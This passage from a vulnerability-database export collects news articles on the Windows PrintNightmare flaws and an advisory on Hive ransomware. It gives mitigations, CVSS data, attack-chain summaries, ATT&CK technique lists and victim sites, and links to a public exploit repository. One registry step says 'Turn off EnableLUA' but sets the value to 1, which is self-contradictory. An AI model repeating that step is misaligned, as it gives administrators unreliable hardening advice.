gaining access to Domain Controllers.\n\nAs we [reported earlier](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), Microsoft already released a patch in June 2021, but it wasn't enough to stop exploits. Attackers can still use Print Spooler when connecting remotely. You can find all you need to know about this vulnerability in this article and how you can mitigate it (and you can). \n\n**Print Spooler in a nutshell:** Print Spooler is Microsoft's service for managing and monitoring files printing. This service is among Microsoft's oldest and has had minimal maintenance updates since it was released. \n\nEvery Microsoft machine (servers and endpoints) has this feature enabled by default.\n\n**PrintNightmare vulnerability:** As soon as an attacker gains limited user access to a network, he will be able to connect (directly or remotely) to the Print Spooler. Since the Print Spooler has direct access to the kernel, the attacker can use it to gain access to the operating system, run remote code with system privileges, and ultimately attack the Domain Controller.\n\nYour best option when it comes to mitigating the PrintNightmare vulnerability is to disable the Print Spooler on every server and/or sensitive workstation (such as administrators' workstations, direct internet-facing workstations, and non-printing workstations).\n\nThis is what Dvir Goren's, hardening expert and CTO at [CalCom Software Solutions](<https://www.calcomsoftware.com/?utm_source=HN>), suggests as your first move towards mitigation.\n\nFollow these steps to disable the Print Spooler service on Windows 10:\n\n 1. Open Start.\n 2. Search for PowerShell, right-click on it and select the Run as administrator.\n 3. Type the command and press Enter: _Stop-Service -Name Spooler -Force_\n 4. Use this command to prevent the service from starting back up again during restart: Set-Service -Name Spooler -StartupType Disabled\n\nAccording to Dvir's experience, 90% of servers do not require Print Spooler. It is the default configuration for most of them, so it is usually enabled. As a result, disabling it can solve 90% of your problem and have little impact on production.\n\nIn large and complex infrastructures, it can be challenging to locate where Print Spooler is used.\n\nHere are a few examples where Print Spooler is required:\n\n 1. When using Citrix services,\n 2. Fax servers,\n 3. Any application requiring virtual or physical printing of PDFs, XPSs, etc. Billing services and wage applications, for example.\n\nHere are a few examples when Print Spooler is not needed but enabled by default:\n\n 1. Domain Controller and Active Directory \u2013 the main risk in this vulnerability can be neutralized by practicing basic cyber hygiene. It makes no sense to have Print Spooler enabled in DCs and AD servers. \n 2. Member servers such as SQL, File System, and Exchange servers. \n 3. Machines that do not require printing. \n\nA few other hardening steps suggested by Dvir for machines dependent on Print Spooler include:\n\n 1. Replace the vulnerable Print Spooler protocol with a non-Microsoft service. \n 2. By changing 'Allow Print Spooler to accept client connections', you can restrict users' and drivers' access to the Print Spooler to groups that must use it.\n 3. Disable Print Spooler caller in Pre-Windows 2000 compatibility group.\n 4. Make sure that Point and Print is not configured to No Warning \u2013 check registry key SOFTWARE/Policies/Microsoft/Windows NT/Printers/PointAndPrint/NoElevationOnInstall for DWORD value 1 and change it to 0.\n 5. Turn off EnableLUA \u2013 check registry key SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/EnableLUA for DWORD value 0 and change it to 1.\n\nHere's what you need to do next to ensure your organization is secure:\n\n 1. Identify where Print Spooler is being used on your network. \n 2. Map your network to find the machines that must use Print Spooler.\n 3. Disable Print Spooler on machines that do not use it. \n 4. For machines that require Print Spooler \u2013 configure them in a way to minimize its attack surface. \n\nBeside this, to find potential evidence of exploitation, you should also monitor Microsoft-Windows-PrintService/Admin log entries. There might be entries with error messages that indicate Print Spooler can't load plug-in module DLLs, although this can also happen if an attacker packaged a legitimate DLL that Print Spooler demands.\n\nThe final recommendation from Dvir is to implement these recommendations through[ hardening automation tools](<https://www.calcomsoftware.com/best-hardening-tools/?utm_source=HN>). Without automation, you will spend countless hours attempting to harden manually and may end up vulnerable or causing systems to go down\n\nAfter choosing your course of action, a [Hardening automation tool](<https://www.calcomsoftware.com/server-hardening-suite/?utm_source=HN>) will discover where Print Spooler is enabled, where they are actually used, and disable or reconfigure them automatically.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T09:32:00", "type": "thn", "title": "How to Mitigate Microsoft Print Spooler Vulnerability \u2013 PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-08T15:05:22", "id": "THN:10A732F6ED612DC7431BDC9A3CEC3A29", "href": "https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:27", "description": "[![FBI, CISA and Russian Hackers](https://thehackernews.com/new-images/img/a/AVvXsEi78Lgh1-a_Rlugh-jIjcQsT3okz4dkvUH1BpDGD2uThowKvsO7WgxJ7CzE9cAixe67YOA9inVSnZzZWhfA7bAV4ymALr-GCIvlvpRTka6rQROItUoRgAGIdaDtlEUPPeof7gjztGdh1UfjFIt_ps35SJsa5HNgqIppsi2kHJdv2NVQR31hMzFoIXUh=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEi78Lgh1-a_Rlugh-jIjcQsT3okz4dkvUH1BpDGD2uThowKvsO7WgxJ7CzE9cAixe67YOA9inVSnZzZWhfA7bAV4ymALr-GCIvlvpRTka6rQROItUoRgAGIdaDtlEUPPeof7gjztGdh1UfjFIt_ps35SJsa5HNgqIppsi2kHJdv2NVQR31hMzFoIXUh>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have released a joint advisory warning that Russia-backed threat actors hacked the network of an unnamed non-governmental entity by exploiting a combination of flaws.\n\n\"As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default [multi-factor authentication] protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>).\n\n\"The actors then exploited a critical Windows Print Spooler vulnerability, 'PrintNightmare' ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>)) to run arbitrary code with system privileges.\"\n\nThe attack was pulled off by gaining initial access to the victim organization via compromised credentials \u2013 obtained by means of a brute-force password guessing attack \u2013 and enrolling a new device in the organization's [Duo MFA](<https://duo.com/product/multi-factor-authentication-mfa>).\n\nIt's also noteworthy that the breached account was un-enrolled from Duo due to a long period of inactivity, but had not yet been disabled in the NGO's Active Directory, thereby allowing the attackers to escalate their privileges using the PrintNightmare flaw and disable the MFA service altogether.\n\n\"As Duo's default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network,\" the agencies explained.\n\nTurning off MFA, in turn, allowed the state-sponsored actors to authenticate to the NGO's virtual private network (VPN) as non-administrator users, connect to Windows domain controllers via Remote Desktop Protocol (RDP), and obtain credentials for other domain accounts.\n\nIn the final stage of the attack, the newly compromised accounts were subsequently utilized to move laterally across the network to siphon data from the organization's cloud storage and email accounts.\n\nTo mitigate such attacks, both CISA and FBI are recommending organizations to enforce and review multi-factor authentication configuration policies, disable inactive accounts in Active Directory, and prioritize patching for [known exploited flaws](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-16T13:29:00", "type": "thn", "title": "FBI, CISA Warn of Russian Hackers Exploiting MFA and PrintNightmare Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-16T13:29:45", "id": "THN:A52CF43B8B04C0A2F8413E17698F9308", "href": "https://thehackernews.com/2022/03/fbi-cisa-warn-of-russian-hackers.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[![Windows PrintNightmare Vulnerability](https://thehackernews.com/images/-wbLrBJlJCfE/YOUa-690-KI/AAAAAAAADG0/6tT84mGPz6gQ_5vYBxhkEE_spk0LW4WpwCLcBGAsYHQ/s728-e1000/windows-patch-update.jpg)](<https://thehackernews.com/images/-wbLrBJlJCfE/YOUa-690-KI/AAAAAAAADG0/6tT84mGPz6gQ_5vYBxhkEE_spk0LW4WpwCLcBGAsYHQ/s0/windows-patch-update.jpg>)\n\nMicrosoft has shipped an [emergency out-of-band security update](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#1646>) to address a critical zero-day vulnerability \u2014 known as \"PrintNightmare\" \u2014 that affects the Windows Print Spooler service and can permit remote threat actors to run arbitrary code and take over vulnerable systems.\n\nTracked as [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8), the remote code execution flaw impacts all supported editions of Windows. Last week, the company warned it had detected active exploitation attempts targeting the vulnerability.\n\n\"The Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system,\" the CERT Coordination Center said of the issue.\n\nIt's worth noting that PrintNightmare includes both remote code execution and a [local privilege escalation](<https://github.com/calebstewart/CVE-2021-1675>) vector that can be abused in attacks to run commands with SYSTEM privileges on targeted Windows machines.\n\n[![](https://thehackernews.com/images/-NzUbsCmtpLU/YOUekekqtnI/AAAAAAAADG8/HwnD7Xq3_iYftG9BrRvS1tJxIBOomRzXgCLcBGAsYHQ/s0/lpe.jpg)](<https://thehackernews.com/images/-NzUbsCmtpLU/YOUekekqtnI/AAAAAAAADG8/HwnD7Xq3_iYftG9BrRvS1tJxIBOomRzXgCLcBGAsYHQ/s0/lpe.jpg>)\n\n\"The Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" CERT/CC vulnerability analyst Will Dormann [said](<https://www.kb.cert.org/vuls/id/383432>).\n\nThis effectively means that the incomplete fix could still be used by a local adversary to gain SYSTEM privileges. As workarounds, Microsoft recommends stopping and disabling the Print Spooler service or turning off inbound remote printing through Group Policy to block remote attacks.\n\nGiven the criticality of the flaw, the Windows maker has issued patches for:\n\n * Windows Server 2019\n * Windows Server 2012 R2\n * Windows Server 2008\n * Windows 8.1\n * Windows RT 8.1, and\n * Windows 10 (versions 21H1, 20H2, 2004, 1909, 1809, 1803, and 1507)\n\nMicrosoft has even taken the unusual step of issuing the fix for Windows 7, which officially reached the end of support as of January 2020.\n\nThe [update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), however, does not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016, for which the Redmond-based company stated patches will be released in the forthcoming days.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-07T03:11:00", "type": "thn", "title": "Microsoft Issues Emergency Patch for Critical Windows PrintNightmare Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T03:38:13", "id": "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "href": "https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:23", "description": "[![windows print spooler vulnerability](https://thehackernews.com/images/-RJ_0BYkTxHY/YN7HyUD-_KI/AAAAAAAA4SA/dbXcZli9DPwTnJvla5sgZ3hDzIqO8zLRgCLcBGAsYHQ/s728-e1000/windows-print-spooler-vulnerability.jpg)](<https://thehackernews.com/images/-RJ_0BYkTxHY/YN7HyUD-_KI/AAAAAAAA4SA/dbXcZli9DPwTnJvla5sgZ3hDzIqO8zLRgCLcBGAsYHQ/s0/windows-print-spooler-vulnerability.jpg>)\n\nMicrosoft on Thursday officially confirmed that the \"**PrintNightmare**\" remote code execution (RCE) vulnerability affecting Windows Print Spooler is different from the issue the company addressed as part of its Patch Tuesday update released earlier this month, while warning that it has detected exploitation attempts targeting the flaw.\n\nThe company is tracking the security weakness under the identifier [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), and has assigned it a severity rating of 8.8 on the CVSS scoring system. All versions of Windows contain the vulnerable code and are susceptible to exploitation.\n\n\"A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\" Microsoft said in its advisory. \"An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\"\n\n\"An attack must involve an authenticated user calling RpcAddPrinterDriverEx(),\" the Redmond-based firm added. When reached by The Hacker News, the company said it had nothing to share beyond the advisory.\n\nThe acknowledgment comes after researchers from Hong Kong-based cybersecurity company Sangfor [published](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) a technical deep-dive of a Print Spooler RCE flaw to GitHub, along with a fully working PoC code, before it was taken down just hours after it went up.\n\n[![](https://thehackernews.com/images/-Zl5E2TyZRFQ/YN7Ej6s8x8I/AAAAAAAA4R4/FEYZ4JpYdakscU9e8eXMl9VEI0Hl1P_SwCLcBGAsYHQ/s0/ms.jpg)](<https://thehackernews.com/images/-Zl5E2TyZRFQ/YN7Ej6s8x8I/AAAAAAAA4R4/FEYZ4JpYdakscU9e8eXMl9VEI0Hl1P_SwCLcBGAsYHQ/s0/ms.jpg>)\n\nThe disclosures also set off speculation and debate about whether the June patch does or does not protect against the RCE vulnerability, with the CERT Coordination Center [noting](<https://kb.cert.org/vuls/id/383432>) that \"while Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have Point and Print configured with the NoWarningNoElevationOnInstall option configured.\"\n\nCVE-2021-1675, originally classified as an elevation of privilege vulnerability and later revised to RCE, was remediated by Microsoft on June 8, 2021.\n\nThe company, in its advisory, noted that PrintNightmare is distinct from CVE-2021-1675 for reasons that the latter resolves a separate vulnerability in RpcAddPrinterDriverEx() and that the attack vector is different.\n\nAs workarounds, Microsoft is recommending users to disable the Print Spooler service or turn off inbound remote printing through Group Policy. To reduce the attack surface and as an alternative to completely disabling printing, the company is also advising to check membership and nested group membership, and reduce membership as much as possible, or completely empty the groups where possible.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T05:36:00", "type": "thn", "title": "Microsoft Warns of Critical \"PrintNightmare\" Flaw Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-03T07:11:54", "id": "THN:9CE630030E0F3E3041E633E498244C8D", "href": "https://thehackernews.com/2021/07/microsoft-warns-of-critical.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[![](https://thehackernews.com/images/-4tveTym6-fk/YOZ_5ZwEbHI/AAAAAAAADHs/xXSCpfsipXYpe6tJM2SGaTIDUE9dVGoGwCLcBGAsYHQ/s0/PrintNightmare-Vulnerability-Patch.jpg)](<https://thehackernews.com/images/-4tveTym6-fk/YOZ_5ZwEbHI/AAAAAAAADHs/xXSCpfsipXYpe6tJM2SGaTIDUE9dVGoGwCLcBGAsYHQ/s0/PrintNightmare-Vulnerability-Patch.jpg>)\n\nEven as Microsoft [expanded patches](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center>) for the so-called [PrintNightmare vulnerability](<https://thehackernews.com/2021/07/how-to-mitigate-microsoft-print-spooler.html>) for Windows 10 version 1607, Windows Server 2012, and Windows Server 2016, it has come to light that the fix for the remote code execution exploit in the Windows Print Spooler service can be bypassed in certain scenarios, effectively defeating the security protections and permitting attackers to run arbitrary code on infected systems.\n\nOn Tuesday, the Windows maker issued an [emergency out-of-band update](<https://thehackernews.com/2021/07/microsoft-issues-emergency-patch-for.html>) to address [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>) (CVSS score: 8.8) after the flaw was accidentally disclosed by researchers from Hong Kong-based cybersecurity firm Sangfor late last month, at which point it emerged that the issue was different from another bug \u2014 tracked as [CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \u2014 that was patched by Microsoft on June 8.\n\n\"Several days ago, two security vulnerabilities were found in Microsoft Windows' existing printing mechanism,\" Yaniv Balmas, head of cyber research at Check Point, told The Hacker News. \"These vulnerabilities enable a malicious attacker to gain full control on all windows environments that enable printing.\"\n\n\"These are mostly working stations but, at times, this relates to entire servers that are an integral part of very popular organizational networks. Microsoft classified these vulnerabilities as critical, but when they were published they were able to fix only one of them, leaving the door open for explorations of the second vulnerability,\" Balmas added.\n\nPrintNightmare stems from bugs in the Windows [Print Spooler](<https://docs.microsoft.com/en-us/windows/win32/printdocs/print-spooler>) service, which manages the printing process inside local networks. The main concern with the threat is that non-administrator users had the ability to load their own printer drivers. This has now been rectified.\n\n\"After installing this [update] and later Windows updates, users who are not administrators can only install signed print drivers to a print server,\" Microsoft [said](<https://support.microsoft.com/en-us/topic/july-7-2021-kb5004948-os-build-14393-4470-out-of-band-fb676642-a3fe-4304-a79c-9d651d2f6550>), detailing the improvements made to mitigate the risks associated with the flaw. \"Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.\"\n\nPost the update's release, CERT/CC vulnerability analyst Will Dormann cautioned that the patch \"only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant,\" thereby allowing attackers to abuse the latter to gain SYSTEM privileges on vulnerable systems.\n\nNow, further testing of the update has revealed that exploits targeting the flaw could [bypass](<https://twitter.com/gentilkiwi/status/1412771368534528001>) the [remediations](<https://twitter.com/wdormann/status/1412813044279910416>) entirely to gain both local privilege escalation and remote code execution. To achieve this, however, a [Windows policy](<https://docs.microsoft.com/en-us/troubleshoot/windows-server/printing/use-group-policy-to-control-ad-printer>) called '[Point and Print Restrictions](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/group-policy/point-print-restrictions-policies-ignored>)' must be enabled (Computer Configuration\\Policies\\Administrative Templates\\Printers: Point and Print Restrictions), using which malicious printer drivers could be potentially installed.\n\n\"Note that the Microsoft update for CVE-2021-34527 does not effectively prevent exploitation of systems where the Point and Print NoWarningNoElevationOnInstall is set to 1,\" Dormann [said](<https://www.kb.cert.org/vuls/id/383432>) Wednesday. Microsoft, for its part, [explains in its advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) that \"Point and Print is not directly related to this vulnerability, but the technology weakens the local security posture in such a way that exploitation will be possible.\"\n\nWhile Microsoft has recommended the nuclear option of stopping and disabling the Print Spooler service, an [alternative workaround](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) is to enable security prompts for Point and Print, and limit printer driver installation privileges to administrators alone by configuring the \"RestrictDriverInstallationToAdministrators\" registry value to prevent regular users from installing printer drivers on a print server.\n\n**UPDATE:** In response to CERT/CC's report, Microsoft [said](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) on Thursday:\n\n\"Our investigation has shown that the OOB [out-of-band] security update is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-08T04:35:00", "type": "thn", "title": "Microsoft's Emergency Patch Fails to Fully Fix PrintNightmare RCE Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T09:52:49", "id": "THN:CAFA6C5C5A34365636215CFD7679FD50", "href": "https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2022-04-22T15:39:16", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Hive Ransomware has been active since its discovery in June 2021, and it is constantly deploying different backdoors, including the Cobalt Strike beacon, on Microsoft Exchange servers that are vulnerable to ProxyShell (CVE-2021-31207, CVE-2021-34473 and CVE-2021-34523) security flaws. The threat actors then conduct network reconnaissance, obtain admin account credentials, and exfiltrate valuable data before deploying the file-encrypting payload. Hive and their affiliates access their victims' networks by a variety of methods, including phishing emails with malicious attachments, compromised VPN passwords, and exploiting weaknesses on external-facing assets. Furthermore, Hive leaves a plain-text ransom letter threatening to disclose the victim's data on the TOR website 'HiveLeaks' if the victim does not meet the attacker's terms. The Organizations can mitigate the risk by following the recommendations: \u2022Use multi-factor authentication. \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. \u2022Enable protected files in the Windows Operating System for critical files. The MITRE ATT&CK TTPs used by Hive Ransomware are: TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and ControlTA0010: Exfiltration TA0040: ImpactT1190: Exploit Public-Facing ApplicationT1566: PhishingT1566.001: Spear-phishing attachmentT1106: Native APIT1204: User ExecutionT1204.002: Malicious FileT1059: Command and Scripting InterpreterT1059.001: PowerShellT1059.003: Windows Command ShellT1053: Scheduled Task/JobT1053.005: Scheduled TaskT1047: Windows Management InstrumentT1136: Create AccountT1136.002: Domain AccountT1078: Valid AccountsT1078.002: Domain AccountsT1053: Boot or logon autostart executionT1068: Exploitation for Privilege EscalationT1140: Deobfuscate/Decode Files or InformationT1070: Indicator Removal on Host T1070.001: Clear Windows Event LogsT1562: Impair DefensesT1562.001: Disable or Modify ToolsT1003: OS Credential DumpingT1003.005: Cached Domain Credentials|T1018: Remote System DiscoveryT1021: Remote ServicesT1021.001: Remote Desktop ProtocolT1021.002: SMB/Windows admin sharesT1021.006: Windows Remote ManagementT1083: File and directory discoveryT1057: Process discoveryT1063: Security software discoveryT1049: System Network Connections DiscoveryT1135: Network Share DiscoveryT1071: Application Layer ProtocolT1071.001: Web ProtocolsT1570: Lateral tool transfer1486: Data Encrypted for ImpactT1005: Data from local systemT1560: Archive Collected DataT1560.001: Archive via UtilityT1105: Ingress Tool TransferT1567: Exfiltration over web service Actor Details Vulnerability Details Indicators of Compromise (IoCs) Recent Breaches https://millsgrouponline.com/ https://www.fcch.com/ https://www.konradin.de/de/ https://www.pollmann.at/en https://www.emilfrey.ch/de https://rte.com.br/ https://www.friedrich.com/ https://powerhouse1.com/ https://www.hshi.co.kr/eng/ https://www.eurocoininteractive.nl/ https://www.itsinfocom.com/ https://www.pan-energy.com/ https://nsminc.com/ https://www.ucsiuniversity.edu.my/ https://kemlu.go.id/portal/id Patch Links https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 References https://www.varonis.com/blog/hive-ransomware-analysis https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-22T14:34:47", "type": "hivepro", "title": "Hive Ransomware targets organizations with ProxyShell exploit", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", 